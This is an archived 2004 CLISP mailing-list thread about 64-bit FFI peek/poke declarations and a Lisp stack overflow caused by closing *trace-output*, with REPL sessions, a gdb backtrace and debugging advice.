              (push `(ffi:def-call-out ,l-poke-name
                      (:name ,c-poke-name)
                      (:arguments (address ffi:ulong) (value ,l-type))
                      (:return-type nil)
                      (:library  #.+library+) (:language :stdc)) code))
        finally (return `(progn ,@ code))))



(eval-when (:load-toplevel :execute)
  (generate-peek-and-poke))



This is not urgent since I use this work around:

(defun peek-uint64 (address)
  (dpb (raw-memory:peek-uint32 (+ 4 address))
       (byte 32 32)
       (raw-memory:peek-uint32 address)))

(defun peek-sint64 (address)
  (dpb (raw-memory:peek-uint32 (+ 4 address))
       (byte 32 32)
       (raw-memory:peek-uint32 address)))

(defun poke-uint64 (address object)
  (raw-memory:poke-uint32      address  (ldb (byte 32  0) object))
  (raw-memory:poke-uint32 (+ 4 address) (ldb (byte 32 32) object)))

(defun poke-sint64 (address object)
  (raw-memory:poke-uint32      address  (ldb (byte 32  0) object))
  (raw-memory:poke-uint32 (+ 4 address) (ldb (byte 32 32) object)))

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Date: Sat Dec 11 16:45:01 2004
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I have been working for two weeks with 64-bit integers (ie. bignums),
and suddenly, nothing works any more: I only get:
 *** - Lisp stack overflow. RESET

A minimal program would be:


[pjb@thalassa src]$ /usr/local/bin/clisp -ansi -q -K full -m 128M -I -Efile ISO-8859-1 -Eterminal ISO-8859-1
;; Loading file /home/pascal/.clisprc.lisp ...
[1]> 
(defconstant +DEBUG+ '(:gc :range :check :ng)
  "Possible items:
     :gc      debugging garbage collector.
     :range   check gc-address range.
     :check   check heap invariants.
     :bitmap  debugging debugging code.
     :ng      trace the new-generation stack.")

(defmacro when-debug (what &body body)
  (when (intersection what +debug+)
    `(with-open-stream (*standard-output* *trace-output*) ,@body)))

(defvar  *gc-heap-size*   8192)
(defparameter *memory* (make-array (list *gc-heap-size*)
                                   :element-type '(unsigned-byte 64)
                                   :initial-element 0))
(defun gc-signature () (aref *memory* 0))
(defun gc-sign (signature) (setf (aref *memory* 0) signature))
(defun gc-store (gc-address object)
  (when-debug (:range)  (assert (< 0 gc-address *gc-heap-size*)))
  (setf (aref *memory* gc-address) object))
(defun gc-load (gc-address)
  (when-debug (:range)  (assert (< 0 gc-address *gc-heap-size*)))
  (aref *memory* gc-address))

+DEBUG+
[2]> WHEN-DEBUG
[3]> *GC-HEAP-SIZE*
[4]> *MEMORY*
[5]> GC-SIGNATURE
[6]> GC-SIGN
[7]> GC-STORE
[8]> GC-LOAD
[9]> (gc-store 1 10000000000000)

*** - Lisp stack overflow. RESET
*** - Lisp stack overflow. RESET
[11]> (integer-length 10000000000000)
44
[12]> (quit)

*** - The value of *ERROR-OUTPUT* was not an appropriate stream: #<UNBOUND>. It has been changed to #<IO SYNONYM-STREAM *TERMINAL-IO*>.
*** - The value of *DEBUG-IO* was not an appropriate stream: #<CLOSED IO SYNONYM-STREAM *TERMINAL-IO*>. It has been changed to #<IO SYNONYM-STREAM *TERMINAL-IO*>.
Break 2 [14]> (quit)



The same with -Kbase and -norc:

[pjb@thalassa src]$ /usr/local/bin/clisp -a -Kbase -norc
CLISP: -a is deprecated, use -ansi
        i
. . . i I i i i i     ooooo    o        ooooooo   ooooo   ooooo
I I I I I I I I I    8     8   8           8     8     o  8    8
I I  \ `+' /  I I    8         8           8     8        8    8
I  \  `-+-'  /  I    8         8           8      ooooo   8oooo
 \  `-__|__-'  /     8         8           8           8  8
  `--___|___--'      8     o   8           8     o     8  8
        |             ooooo    8oooooo  ooo8ooo   ooooo   8
--------+--------

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2004


[1]> (defconstant +DEBUG+ '(:gc :range :check :ng)
  "Possible items:
     :gc      debugging garbage collector.
     :range   check gc-address range.
     :check   check heap invariants.
     :bitmap  debugging debugging code.
     :ng      trace the new-generation stack.")

(defmacro when-debug (what &body body)
  (when (intersection what +debug+)
    `(with-open-stream (*standard-output* *trace-output*) ,@body)))

(defvar  *gc-heap-size*   8192)
(defparameter *memory* (make-array (list *gc-heap-size*)
                                   :element-type '(unsigned-byte 64)
                                   :initial-element 0))
(defun gc-signature () (aref *memory* 0))
(defun gc-sign (signature) (setf (aref *memory* 0) signature))
(defun gc-store (gc-address object)
  (when-debug (:range)  (assert (< 0 gc-address *gc-heap-size*)))
  (setf (aref *memory* gc-address) object))
(defun gc-load (gc-address)
  (when-debug (:range)  (assert (< 0 gc-address *gc-heap-size*)))
  (aref *memory* gc-address))

+DEBUG+
[2]> WHEN-DEBUG
[3]> *GC-HEAP-SIZE*
[4]> *MEMORY*
[5]> GC-SIGNATURE
[6]> GC-SIGN
[7]> GC-STORE
[8]> GC-LOAD
[9]> (gc-store 1 10000000000000)

*** - Lisp stack overflow. RESET
*** - Lisp stack overflow. RESET
[11]> (quit)
Bye.

*** - The value of *ERROR-OUTPUT* was not an appropriate stream: #<UNBOUND>. It has been changed to #<IO SYNONYM-STREAM *TERMINAL-IO*>.
*** - The value of *DEBUG-IO* was not an appropriate stream: #<CLOSED IO SYNONYM-STREAM *TERMINAL-IO*>. It has been changed to #<IO SYNONYM-STREAM *TERMINAL-IO*>.
Break 2 [13]> (quit)
[pjb@thalassa src]$ 


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Which arch is this built for? CLISP would not build correctly on 
UltraSPARCII and acted funky on Alpha (both running NetBSD).
On Sun, 12 Dec 2004, Pascal J.Bourguignon wrote:

> Date: Sun, 12 Dec 2004 00:31:52 +0100 (CET)
> From: Pascal J.Bourguignon <pjb@informatimago.com>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] 64-bit FFI
> 
>
> It seems that 64-bit FFI doesn't work.
>
> I've got a simple peek-and-poke library:
>
>
> unsigned char      peek8 (unsigned char*      address){return(*address);}
> unsigned short     peek16(unsigned short*     address){return(*address);}
> unsigned long      peek32(unsigned long*      address){return(*address);}
> unsigned long long peek64(unsigned long long* address){return(*address);}
> void poke8(unsigned char* address,unsigned char value){(*address)=value;}
> void poke16(unsigned short* address,unsigned short value){(*address)=value;}
> void poke32(unsigned long* address,unsigned long value){(*address)=value;}
> void poke64(unsigned long long* address,
>            unsigned long long value){(*address)=value;}
>
> The code generated is ok, the C compiler push and fetches the 64-bit
> arguments on the stack, but it doesn't work with these FFI declarations:
>
>
> (defmacro generate-peek-and-poke ()
>  (loop with code = '()
>        for size in '(8 16 32 64)  ;; peek and poke of 64-bit don't work.
>        for c-peek-name = (format nil "peek~D" size)
>        for c-poke-name = (format nil "poke~D" size) do
>        (loop for type in '(uint sint)
>              for l-peek-name = (intern (with-standard-io-syntax
>                                          (format nil"PEEK-~A~D" type size))
>                                        "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
>              for l-poke-name = (intern (with-standard-io-syntax
>                                          (format nil"POKE-~A~D" type size))
>                                        "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
>              for l-type      = (intern (with-standard-io-syntax
>                                          (format nil"~A~D" type size))
>                                        "FFI")
>              do
>              (push `(ffi:def-call-out ,l-peek-name
>                      (:name ,c-peek-name)
>                      (:arguments (address ffi:ulong))
>                      (:return-type ,l-type)
>                      (:library  #.+library+) (:language :stdc)) code)
>              (push `(ffi:def-call-out ,l-poke-name
>                      (:name ,c-poke-name)
>                      (:arguments (address ffi:ulong) (value ,l-type))
>                      (:return-type nil)
>                      (:library  #.+library+) (:language :stdc)) code))
>        finally (return `(progn ,@ code))))
>
>
>
> (eval-when (:load-toplevel :execute)
>  (generate-peek-and-poke))
>
>
>
> This is not urgent since I use this work around:
>
> (defun peek-uint64 (address)
>  (dpb (raw-memory:peek-uint32 (+ 4 address))
>       (byte 32 32)
>       (raw-memory:peek-uint32 address)))
>
> (defun peek-sint64 (address)
>  (dpb (raw-memory:peek-uint32 (+ 4 address))
>       (byte 32 32)
>       (raw-memory:peek-uint32 address)))
>
> (defun poke-uint64 (address object)
>  (raw-memory:poke-uint32      address  (ldb (byte 32  0) object))
>  (raw-memory:poke-uint32 (+ 4 address) (ldb (byte 32 32) object)))
>
> (defun poke-sint64 (address object)
>  (raw-memory:poke-uint32      address  (ldb (byte 32  0) object))
>  (raw-memory:poke-uint32 (+ 4 address) (ldb (byte 32 32) object)))
>
> -- 
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LiteStar writes:
> Which arch is this built for? CLISP would not build correctly on 
> UltraSPARCII and acted funky on Alpha (both running NetBSD).
> On Sun, 12 Dec 2004, Pascal J.Bourguignon wrote:

On a 32-bit Athlon.

CL-USER> (lisp-implementation-type)
"CLISP"
CL-USER> (lisp-implementation-version)
"2.33.2 (2004-06-02) (built 3301657794) (memory 3301658327)"
CL-USER> (machine-type)
"I686"
CL-USER> (machine-version)
"I686"
CL-USER> (software-type)
"ANSI C program"
CL-USER> (software-version)
"GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
CL-USER> 
 
> > Date: Sun, 12 Dec 2004 00:31:52 +0100 (CET)
> > From: Pascal J.Bourguignon <pjb@informatimago.com>
> > To: clisp-list@lists.sourceforge.net
> > Subject: [clisp-list] 64-bit FFI
> > 
> >
> > It seems that 64-bit FFI doesn't work.
> >
> > I've got a simple peek-and-poke library:
> >
> >
> > unsigned char      peek8 (unsigned char*      address){return(*address);}
> > unsigned short     peek16(unsigned short*     address){return(*address);}
> > unsigned long      peek32(unsigned long*      address){return(*address);}
> > unsigned long long peek64(unsigned long long* address){return(*address);}
> > void poke8(unsigned char* address,unsigned char value){(*address)=value;}
> > void poke16(unsigned short* address,unsigned short value){(*address)=value;}
> > void poke32(unsigned long* address,unsigned long value){(*address)=value;}
> > void poke64(unsigned long long* address,
> >            unsigned long long value){(*address)=value;}
> >
> > The code generated is ok, the C compiler push and fetches the 64-bit
> > arguments on the stack, but it doesn't work with these FFI declarations:
> >
> >
> > (defmacro generate-peek-and-poke ()
> >  (loop with code = '()
> >        for size in '(8 16 32 64)  ;; peek and poke of 64-bit don't work.
> >        for c-peek-name = (format nil "peek~D" size)
> >        for c-poke-name = (format nil "poke~D" size) do
> >        (loop for type in '(uint sint)
> >              for l-peek-name = (intern (with-standard-io-syntax
> >                                          (format nil"PEEK-~A~D" type size))
> >                                        "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
> >              for l-poke-name = (intern (with-standard-io-syntax
> >                                          (format nil"POKE-~A~D" type size))
> >                                        "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
> >              for l-type      = (intern (with-standard-io-syntax
> >                                          (format nil"~A~D" type size))
> >                                        "FFI")
> >              do
> >              (push `(ffi:def-call-out ,l-peek-name
> >                      (:name ,c-peek-name)
> >                      (:arguments (address ffi:ulong))
> >                      (:return-type ,l-type)
> >                      (:library  #.+library+) (:language :stdc)) code)
> >              (push `(ffi:def-call-out ,l-poke-name
> >                      (:name ,c-poke-name)
> >                      (:arguments (address ffi:ulong) (value ,l-type))
> >                      (:return-type nil)
> >                      (:library  #.+library+) (:language :stdc)) code))
> >        finally (return `(progn ,@ code))))
> >
> >
> >
> > (eval-when (:load-toplevel :execute)
> >  (generate-peek-and-poke))

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Pascal J.Bourguignon writes:
> 
> I have been working for two weeks with 64-bit integers (ie. bignums),
> and suddenly, nothing works any more: I only get:
>  *** - Lisp stack overflow. RESET

Any advice on how to debug lisp.run with gdb?
I tried to compile with CC="gcc -g" and I get a 

/local/languages/clisp-debug/lib/clisp/base/lisp.run: 
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 
dynamically linked (uses shared libs), not stripped

but in gdb I don't get any symbol and the backtrace of the C stack
doesn't show any function name but the bottom:

#24836 0x4009f857 in round_and_return () from /lib/libc.so.6

Anyway, massaging the backtrace given by gdb and the symbol table
dumped with nm I get this bottom of stack (with a couple of periods):


24557 080596C5 in eval_fsubr + 181
24558 080594B7 in eval1 + 455
24559 080591B2 in eval + 386
24560 08056107 in eval_5env + 119
24561 08056139 in eval_noenv + 41
24562 08067B2D in C_eval + 29
24563 0805E9DC in interpret_bytecode_ + 3916
24564 0805D5BB in funcall_closure + 427
24565 0805EC67 in interpret_bytecode_ + 4567
24566 0805D5BB in funcall_closure + 427
24567 080604CC in interpret_bytecode_ + 10812
24568 0805D5BB in funcall_closure + 427
24569 0805E932 in interpret_bytecode_ + 3746
24570 0805D5BB in funcall_closure + 427
24571 0805C02E in apply_subr + 2254
24572 08061E9B in interpret_bytecode_ + 17419
24573 0805C3AC in apply_closure + 860
24574 08061EE8 in interpret_bytecode_ + 17496
24575 0805C3AC in apply_closure + 860
24576 08061E9B in interpret_bytecode_ + 17419
24577 0805C3AC in apply_closure + 860
24578 08061EE8 in interpret_bytecode_ + 17496
24579 0805C3AC in apply_closure + 860
24580 08061EE8 in interpret_bytecode_ + 17496
24581 0805D5BB in funcall_closure + 427
24582 080CFC73 in end_error + 419
24583 080CFDFE in fehler + 62
24584 0805F966 in interpret_bytecode_ + 7894
24585 0805D5BB in funcall_closure + 427
24586 0805E89E in interpret_bytecode_ + 3598
24587 0805D5BB in funcall_closure + 427
24588 080639C0 in compile_eval_form + 48
24589 080640DC in C_let + 316
24590 080596C5 in eval_fsubr + 181
24591 080594B7 in eval1 + 455
24592 080591B2 in eval + 386
24593 08056107 in eval_5env + 119
24594 08056139 in eval_noenv + 41
24595 08067B2D in C_eval + 29
24596 0805E9DC in interpret_bytecode_ + 3916
24597 0805D5BB in funcall_closure + 427
24598 0805EC67 in interpret_bytecode_ + 4567
24599 0805D5BB in funcall_closure + 427
24600 080604CC in interpret_bytecode_ + 10812
24601 0805D5BB in funcall_closure + 427
24602 0805E932 in interpret_bytecode_ + 3746
24603 0805D5BB in funcall_closure + 427
24604 0805C02E in apply_subr + 2254
24605 08061E9B in interpret_bytecode_ + 17419
24606 0805C3AC in apply_closure + 860
24607 08061EE8 in interpret_bytecode_ + 17496
24608 0805C3AC in apply_closure + 860
24609 08061E9B in interpret_bytecode_ + 17419
24610 0805C3AC in apply_closure + 860
24611 08061EE8 in interpret_bytecode_ + 17496
24612 0805C3AC in apply_closure + 860
24613 08061EE8 in interpret_bytecode_ + 17496
24614 0805D5BB in funcall_closure + 427
24615 080CFC73 in end_error + 419
24616 080CFDFE in fehler + 62
24617 0805F966 in interpret_bytecode_ + 7894
24618 0805D5BB in funcall_closure + 427
24619 0805E89E in interpret_bytecode_ + 3598
24620 0805D5BB in funcall_closure + 427
24621 080639C0 in compile_eval_form + 48
24622 080640DC in C_let + 316
24623 080596C5 in eval_fsubr + 181
24624 080594B7 in eval1 + 455
24625 080591B2 in eval + 386
24626 08056107 in eval_5env + 119
24627 08056139 in eval_noenv + 41
24628 08067B2D in C_eval + 29
24629 0805E9DC in interpret_bytecode_ + 3916
24630 0805D5BB in funcall_closure + 427
24631 0805EC67 in interpret_bytecode_ + 4567
24632 0805D5BB in funcall_closure + 427
24633 080604CC in interpret_bytecode_ + 10812
24634 0805D5BB in funcall_closure + 427
24635 0805E932 in interpret_bytecode_ + 3746
24636 0805D5BB in funcall_closure + 427
24637 0805C02E in apply_subr + 2254
24638 08061E9B in interpret_bytecode_ + 17419
24639 0805C3AC in apply_closure + 860
24640 08061EE8 in interpret_bytecode_ + 17496
24641 0805C3AC in apply_closure + 860
24642 08061E9B in interpret_bytecode_ + 17419
24643 0805C3AC in apply_closure + 860
24644 08061EE8 in interpret_bytecode_ + 17496
24645 0805C3AC in apply_closure + 860
24646 08061EE8 in interpret_bytecode_ + 17496
24647 0805D5BB in funcall_closure + 427
24648 080CFC73 in end_error + 419
24649 080CFDFE in fehler + 62
24650 0805F966 in interpret_bytecode_ + 7894
24651 0805D5BB in funcall_closure + 427
24652 0805E89E in interpret_bytecode_ + 3598
24653 0805D5BB in funcall_closure + 427
24654 080639C0 in compile_eval_form + 48
24655 080640DC in C_let + 316
24656 080596C5 in eval_fsubr + 181
24657 080594B7 in eval1 + 455
24658 080591B2 in eval + 386
24659 08056107 in eval_5env + 119
24660 08056139 in eval_noenv + 41
24661 08067B2D in C_eval + 29
24662 0805E9DC in interpret_bytecode_ + 3916
24663 0805D5BB in funcall_closure + 427
24664 0805EC67 in interpret_bytecode_ + 4567
24665 0805D5BB in funcall_closure + 427
24666 080604CC in interpret_bytecode_ + 10812
24667 0805D5BB in funcall_closure + 427
24668 0805E932 in interpret_bytecode_ + 3746
24669 0805D5BB in funcall_closure + 427
24670 0805C02E in apply_subr + 2254
24671 08061E9B in interpret_bytecode_ + 17419
24672 0805C3AC in apply_closure + 860
24673 08061EE8 in interpret_bytecode_ + 17496
24674 0805C3AC in apply_closure + 860
24675 08061E9B in interpret_bytecode_ + 17419
24676 0805C3AC in apply_closure + 860
24677 08061EE8 in interpret_bytecode_ + 17496
24678 0805C3AC in apply_closure + 860
24679 08061EE8 in interpret_bytecode_ + 17496
24680 0805D5BB in funcall_closure + 427
24681 080CFC73 in end_error + 419
24682 080CFDFE in fehler + 62
24683 0805F966 in interpret_bytecode_ + 7894
24684 0805D5BB in funcall_closure + 427
24685 0805E89E in interpret_bytecode_ + 3598
24686 0805D5BB in funcall_closure + 427
24687 080639C0 in compile_eval_form + 48
24688 080640DC in C_let + 316
24689 080596C5 in eval_fsubr + 181
24690 080594B7 in eval1 + 455
24691 080591B2 in eval + 386
24692 08056107 in eval_5env + 119
24693 08056139 in eval_noenv + 41
24694 08067B2D in C_eval + 29
24695 0805E9DC in interpret_bytecode_ + 3916
24696 0805D5BB in funcall_closure + 427
24697 0805EC67 in interpret_bytecode_ + 4567
24698 0805D5BB in funcall_closure + 427
24699 080604CC in interpret_bytecode_ + 10812
24700 0805D5BB in funcall_closure + 427
24701 0805E932 in interpret_bytecode_ + 3746
24702 0805D5BB in funcall_closure + 427
24703 0805C02E in apply_subr + 2254
24704 08061E9B in interpret_bytecode_ + 17419
24705 0805C3AC in apply_closure + 860
24706 08061EE8 in interpret_bytecode_ + 17496
24707 0805C3AC in apply_closure + 860
24708 08061E9B in interpret_bytecode_ + 17419
24709 0805C3AC in apply_closure + 860
24710 08061EE8 in interpret_bytecode_ + 17496
24711 0805C3AC in apply_closure + 860
24712 08061EE8 in interpret_bytecode_ + 17496
24713 0805D5BB in funcall_closure + 427
24714 080CFC73 in end_error + 419
24715 080CFDFE in fehler + 62
24716 0805F966 in interpret_bytecode_ + 7894
24717 0805D5BB in funcall_closure + 427
24718 0805E89E in interpret_bytecode_ + 3598
24719 0805D5BB in funcall_closure + 427
24720 080639C0 in compile_eval_form + 48
24721 080640DC in C_let + 316
24722 080596C5 in eval_fsubr + 181
24723 080594B7 in eval1 + 455
24724 080591B2 in eval + 386
24725 08056107 in eval_5env + 119
24726 08056139 in eval_noenv + 41
24727 08067B2D in C_eval + 29
24728 0805E9DC in interpret_bytecode_ + 3916
24729 0805D5BB in funcall_closure + 427
24730 0805EC67 in interpret_bytecode_ + 4567
24731 0805D5BB in funcall_closure + 427
24732 080604CC in interpret_bytecode_ + 10812
24733 0805D5BB in funcall_closure + 427
24734 0805E932 in interpret_bytecode_ + 3746
24735 0805D5BB in funcall_closure + 427
24736 0805C02E in apply_subr + 2254
24737 08061E9B in interpret_bytecode_ + 17419
24738 0805C3AC in apply_closure + 860
24739 08061EE8 in interpret_bytecode_ + 17496
24740 0805C3AC in apply_closure + 860
24741 08061E9B in interpret_bytecode_ + 17419
24742 0805C3AC in apply_closure + 860
24743 08061EE8 in interpret_bytecode_ + 17496
24744 0805C3AC in apply_closure + 860
24745 08061EE8 in interpret_bytecode_ + 17496
24746 0805D5BB in funcall_closure + 427
24747 080CFC73 in end_error + 419
24748 080CFDFE in fehler + 62
24749 0805F966 in interpret_bytecode_ + 7894
24750 0805D5BB in funcall_closure + 427
24751 0805E89E in interpret_bytecode_ + 3598
24752 0805D5BB in funcall_closure + 427
24753 080639C0 in compile_eval_form + 48
24754 080640DC in C_let + 316
24755 080596C5 in eval_fsubr + 181
24756 080594B7 in eval1 + 455
24757 080591B2 in eval + 386
24758 08056107 in eval_5env + 119
24759 08056139 in eval_noenv + 41
24760 08067B2D in C_eval + 29
24761 0805E9DC in interpret_bytecode_ + 3916
24762 0805D5BB in funcall_closure + 427
24763 0805EC67 in interpret_bytecode_ + 4567
24764 0805D5BB in funcall_closure + 427
24765 080604CC in interpret_bytecode_ + 10812
24766 0805D5BB in funcall_closure + 427
24767 0805E932 in interpret_bytecode_ + 3746
24768 0805D5BB in funcall_closure + 427
24769 0805C02E in apply_subr + 2254
24770 08061E9B in interpret_bytecode_ + 17419
24771 0805C3AC in apply_closure + 860
24772 08061EE8 in interpret_bytecode_ + 17496
24773 0805C3AC in apply_closure + 860
24774 08061E9B in interpret_bytecode_ + 17419
24775 0805C3AC in apply_closure + 860
24776 08061EE8 in interpret_bytecode_ + 17496
24777 0805C3AC in apply_closure + 860
24778 08061EE8 in interpret_bytecode_ + 17496
24779 0805D5BB in funcall_closure + 427
24780 080CFC73 in end_error + 419
24781 080CFDFE in fehler + 62
24782 0805F966 in interpret_bytecode_ + 7894
24783 0805D5BB in funcall_closure + 427
24784 0805E89E in interpret_bytecode_ + 3598
24785 0805D5BB in funcall_closure + 427
24786 080639C0 in compile_eval_form + 48
24787 080640DC in C_let + 316
24788 080596C5 in eval_fsubr + 181
24789 080594B7 in eval1 + 455
24790 080591B2 in eval + 386
24791 08056107 in eval_5env + 119
24792 08056139 in eval_noenv + 41
24793 08067B2D in C_eval + 29
24794 0805E9DC in interpret_bytecode_ + 3916
24795 0805D5BB in funcall_closure + 427
24796 0805EC67 in interpret_bytecode_ + 4567
24797 0805D5BB in funcall_closure + 427
24798 080604CC in interpret_bytecode_ + 10812
24799 0805D5BB in funcall_closure + 427
24800 0805E932 in interpret_bytecode_ + 3746
24801 0805D5BB in funcall_closure + 427
24802 0805C02E in apply_subr + 2254
24803 08061E9B in interpret_bytecode_ + 17419
24804 0805C3AC in apply_closure + 860
24805 08061EE8 in interpret_bytecode_ + 17496
24806 0805C3AC in apply_closure + 860
24807 08061E9B in interpret_bytecode_ + 17419
24808 0805C3AC in apply_closure + 860
24809 08061EE8 in interpret_bytecode_ + 17496
24810 0805C3AC in apply_closure + 860
24811 08061EE8 in interpret_bytecode_ + 17496
24812 0805D5BB in funcall_closure + 427
24813 080CFC73 in end_error + 419
24814 080CFDFE in fehler + 62
24815 0805F966 in interpret_bytecode_ + 7894
24816 0805D5BB in funcall_closure + 427
24817 080D150B in C_invoke_debugger + 155
24818 0805D1AD in funcall_subr + 605
24819 080CFABA in signal_and_debug + 170
24820 080CFC95 in end_error + 453
24821 080CFDFE in fehler + 62
24822 0808DC61 in fehler_value_stream + 257
24823 08079D53 in var_stream + 115
24824 080CCA58 in read_form + 72
24825 080CD35A in C_read_eval_print + 10
24826 0805D1AD in funcall_subr + 605
24827 0805E97C in interpret_bytecode_ + 3820
24828 0805D5BB in funcall_closure + 427
24829 080672D3 in C_driver + 115
24830 0805E9DC in interpret_bytecode_ + 3916
24831 0805D5BB in funcall_closure + 427
24832 0805EC67 in interpret_bytecode_ + 4567
24833 0805D5BB in funcall_closure + 427
24834 080CD5DB in driver + 75
24835 0805336C in main + 3948
#24836 0x4009f857 in round_and_return () from /lib/libc.so.6


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-12-12 05:03:17 +0100]:
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> Pascal J.Bourguignon writes:
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>> I have been working for two weeks with 64-bit integers (ie. bignums),
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>>  *** - Lisp stack overflow. RESET
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> Any advice on how to debug lisp.run with gdb?

$ ./configure --with-debug --build build-g
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Date: Sun Dec 12 09:47:00 2004
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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-12-12 05:03:17 +0100]:
> >
> > Pascal J.Bourguignon writes:
> >> 
> >> I have been working for two weeks with 64-bit integers (ie. bignums),
> >> and suddenly, nothing works any more: I only get:
> >>  *** - Lisp stack overflow. RESET
> >
> > Any advice on how to debug lisp.run with gdb?
> 
> $ ./configure --with-debug --build build-g
> $ cd build-g
> $ gdb lisp.run
> (gdb) base
Thanks.


A more minimum sexp leading to this Lisp stack overflow is:


[pjb@thalassa src]$ /usr/local/bin/clisp -a -norc
CLISP: -a is deprecated, use -ansi
        i
. . i i I i i i i     ooooo    o        ooooooo   ooooo   ooooo
I I I I I I I I I    8     8   8           8     8     o  8    8
I I  \ `+' /  I I    8         8           8     8        8    8
I  \  `-+-'  /  I    8         8           8      ooooo   8oooo
 \  `-__|__-'  /     8         8           8           8  8
  `--___|___--'      8     o   8           8     o     8  8
        |             ooooo    8oooooo  ooo8ooo   ooooo   8
--------+--------

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2004


[1]> (with-open-stream (*standard-output* *trace-output*) (print :toto))

:TOTO 
*** - Lisp stack overflow. RESET
*** - Lisp stack overflow. RESET
[3]> (quit)
Bye.

*** - The value of *ERROR-OUTPUT* was not an appropriate stream: #<UNBOUND>. It has been changed to #<IO SYNONYM-STREAM *TERMINAL-IO*>.
*** - The value of *DEBUG-IO* was not an appropriate stream: #<CLOSED IO SYNONYM-STREAM *TERMINAL-IO*>. It has been changed to #<IO SYNONYM-STREAM *TERMINAL-IO*>.
Break 2 [5]> (quit)
[pjb@thalassa src]$ 


Ok, WITH-OPEN-STREAM closes the stream (ie. *TRACE-OUTPUT*).
Should clisp loop when *TRACE-OUTPUT*/*ERROR-OUTPUT*/*DEBUG-IO* is closed?


[1]> (close *trace-output*)

*** - Lisp stack overflow. RESET
*** - Lisp stack overflow. RESET
[3]> 


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-12-12 18:45:53 +0100]:
>
> CLISP: -a is deprecated, use -ansi
this will not work in the next release anymore.

> [1]> (close *trace-output*)
>
> *** - Lisp stack overflow. RESET
> *** - Lisp stack overflow. RESET

wow!

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Ahh, in my tired state I misread this. Sorry.

On Sun, 12 Dec 2004, Pascal J.Bourguignon wrote:

> Date: Sun, 12 Dec 2004 04:35:04 +0100
> From: Pascal J.Bourguignon <pjb@informatimago.com>
> To: LiteStar <sae@sdf.lonestar.org>
> Cc: Pascal J.Bourguignon <pjb@informatimago.com>,
>     clisp-list@lists.sourceforge.net
> Subject: Re: [clisp-list] 64-bit FFI
> 
>
> LiteStar writes:
>> Which arch is this built for? CLISP would not build correctly on
>> UltraSPARCII and acted funky on Alpha (both running NetBSD).
>> On Sun, 12 Dec 2004, Pascal J.Bourguignon wrote:
>
> On a 32-bit Athlon.
>
> CL-USER> (lisp-implementation-type)
> "CLISP"
> CL-USER> (lisp-implementation-version)
> "2.33.2 (2004-06-02) (built 3301657794) (memory 3301658327)"
> CL-USER> (machine-type)
> "I686"
> CL-USER> (machine-version)
> "I686"
> CL-USER> (software-type)
> "ANSI C program"
> CL-USER> (software-version)
> "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
> CL-USER>
>
>>> Date: Sun, 12 Dec 2004 00:31:52 +0100 (CET)
>>> From: Pascal J.Bourguignon <pjb@informatimago.com>
>>> To: clisp-list@lists.sourceforge.net
>>> Subject: [clisp-list] 64-bit FFI
>>>
>>>
>>> It seems that 64-bit FFI doesn't work.
>>>
>>> I've got a simple peek-and-poke library:
>>>
>>>
>>> unsigned char      peek8 (unsigned char*      address){return(*address);}
>>> unsigned short     peek16(unsigned short*     address){return(*address);}
>>> unsigned long      peek32(unsigned long*      address){return(*address);}
>>> unsigned long long peek64(unsigned long long* address){return(*address);}
>>> void poke8(unsigned char* address,unsigned char value){(*address)=value;}
>>> void poke16(unsigned short* address,unsigned short value){(*address)=value;}
>>> void poke32(unsigned long* address,unsigned long value){(*address)=value;}
>>> void poke64(unsigned long long* address,
>>>            unsigned long long value){(*address)=value;}
>>>
>>> The code generated is ok, the C compiler push and fetches the 64-bit
>>> arguments on the stack, but it doesn't work with these FFI declarations:
>>>
>>>
>>> (defmacro generate-peek-and-poke ()
>>>  (loop with code = '()
>>>        for size in '(8 16 32 64)  ;; peek and poke of 64-bit don't work.
>>>        for c-peek-name = (format nil "peek~D" size)
>>>        for c-poke-name = (format nil "poke~D" size) do
>>>        (loop for type in '(uint sint)
>>>              for l-peek-name = (intern (with-standard-io-syntax
>>>                                          (format nil"PEEK-~A~D" type size))
>>>                                        "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
>>>              for l-poke-name = (intern (with-standard-io-syntax
>>>                                          (format nil"POKE-~A~D" type size))
>>>                                        "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
>>>              for l-type      = (intern (with-standard-io-syntax
>>>                                          (format nil"~A~D" type size))
>>>                                        "FFI")
>>>              do
>>>              (push `(ffi:def-call-out ,l-peek-name
>>>                      (:name ,c-peek-name)
>>>                      (:arguments (address ffi:ulong))
>>>                      (:return-type ,l-type)
>>>                      (:library  #.+library+) (:language :stdc)) code)
>>>              (push `(ffi:def-call-out ,l-poke-name
>>>                      (:name ,c-poke-name)
>>>                      (:arguments (address ffi:ulong) (value ,l-type))
>>>                      (:return-type nil)
>>>                      (:library  #.+library+) (:language :stdc)) code))
>>>        finally (return `(progn ,@ code))))
>>>
>>>
>>>
>>> (eval-when (:load-toplevel :execute)
>>>  (generate-peek-and-poke))
>
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Hi all,

Am I misreading the implementation notes or is there no way to bind a
server socket solely to localhost (so the server is only accessible to
clients running on the local computer?)

(SOCKET:SOCKET-SERVER &OPTIONAL  [port-or-socket])
    This function creates a socket an binds a port to the socket. The
    server exists to watch for client connect attempts. The optional
    argument is either a port (positive FIXNUM) or a SOCKET:SOCKET-STREAM
    (from whose peer the connections will be made).

I suggest the interface should be:
